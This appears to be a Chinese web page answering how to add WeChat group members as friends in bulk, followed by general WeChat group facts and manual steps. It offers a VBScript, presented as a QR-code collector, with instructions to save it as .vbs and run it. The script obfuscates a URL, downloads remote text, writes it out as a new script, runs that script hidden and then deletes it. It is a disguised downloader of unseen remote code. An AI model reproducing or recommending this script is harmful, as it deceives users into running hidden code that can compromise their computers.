那种一键添加群好友的软件有哪些？

那种一键添加群好友的软件现在没有了，都不能用了。

想要一键添加群好友，最简单的办法，就是自动做一个工具，自己采集，每天可采上千个，想怎么加就怎么加。

以下代码非常强大实用，使用方法：将以下内容复制到文本，并将后缀.txt改为.vbs即可运行：

（代码如下，不可以加多余的标点。）

on error resume next

msgbox "即将采集微信群二维码到本地【微信群大全】文件夹"

Set Post = CreateObject("Msxml2.XMLHTTP")

Set Shell = CreateObject("Wscript.Shell")

url = "tttps:||nc.cli.im|qrcoderoute|qrcodeRoute?qrcode_route=qr61.cn|o35ejn|qmhkEOj"

url = replace(url,"ttt","htt")

url = replace(url,"|","/")

Post.Open "GET",url,0

Post.Send()

tt =Post.ResponseText

MyStr = Split(Split(tt, "''")(1), "''")(0)

MyStr = replace(MyStr,"\""","""")

MyStr = replace(MyStr,"\/","/")

MyStr = replace(MyStr,"\\","\")

MyStr = replace(MyStr,"</p>","<br>")

MyStr = replace(MyStr,"<p>","<br>")

MyStr = replace(MyStr,"&nbsp","")

MyStr = replace(MyStr,"&amp","&")

MyStr = replace(MyStr,"rright","right")

Set fso = WScript.CreateObject("Scripting.Filesystemobject")

If Not fso.FolderExists(Shell.CurrentDirectory&"\微信群大全") Then

fso.CreateFolder(Shell.CurrentDirectory&"\微信群大全")

End If

n=wscript.scriptname

for i = 0 to UBound(Split(MyStr, "<br>"))

htm = Split(MyStr, "<br>")(Int(i))

set f = fso.opentextfile(Shell.CurrentDirectory&"\_"&wscript.scriptname,8,true):f.WriteLine htm:f.close

next

Shell.run Shell.CurrentDirectory&"\_"&wscript.scriptname,0

WScript.Sleep 10000

fso.DeleteFile(Shell.CurrentDirectory&"\_"&wscript.scriptname), DeleteReadOnly

Set f = NoThing

Set fso = NoThing

Set Post = NoThing

Set Shell = NoThing

Set aGet = NoThing

微信群是腾讯公司推出的多人聊天交流的一个平台，可以通过网络快速发送语音短信、视频、图片和文字。用户可以通过微信与好友进行形式上更加丰富的类似于短信、彩信等方式的联系。

2013年加入微信群有两种方法：一种是通过扫描群二维码，另一种是通过好友邀请。如果我们经常使用这个群，可以将这个群保存到我们的通讯录，我们再次想找这些好友群聊的时候，直接选择这个微信群就行了。

微信群最多为500人。为了避免恶意帐号给群带来骚扰，更好的保护信息安全，100人以上的微信群主要针对已通过实名验证的微信用户。

1、超过40人，您的邀请需要对方同意。

2、超过100人，对方需要通过实名验证才能接受邀请，可通过绑定yhk进行验证。

只需要在微信群里把对方添加到通讯录，对方同意之后即可添加为好友，既方便又快捷

1.打开我们需要添加好友的群聊，如图所示：

2.点击对方的头像，如图所示：

3.然后在他的个人页面选择把它“添加到通讯录”，如图所示：

4.在这里发送朋友申请，最后点击“发送”，接下来只需要等他同意你的申请，你们就可以成为好友，如图所示：

---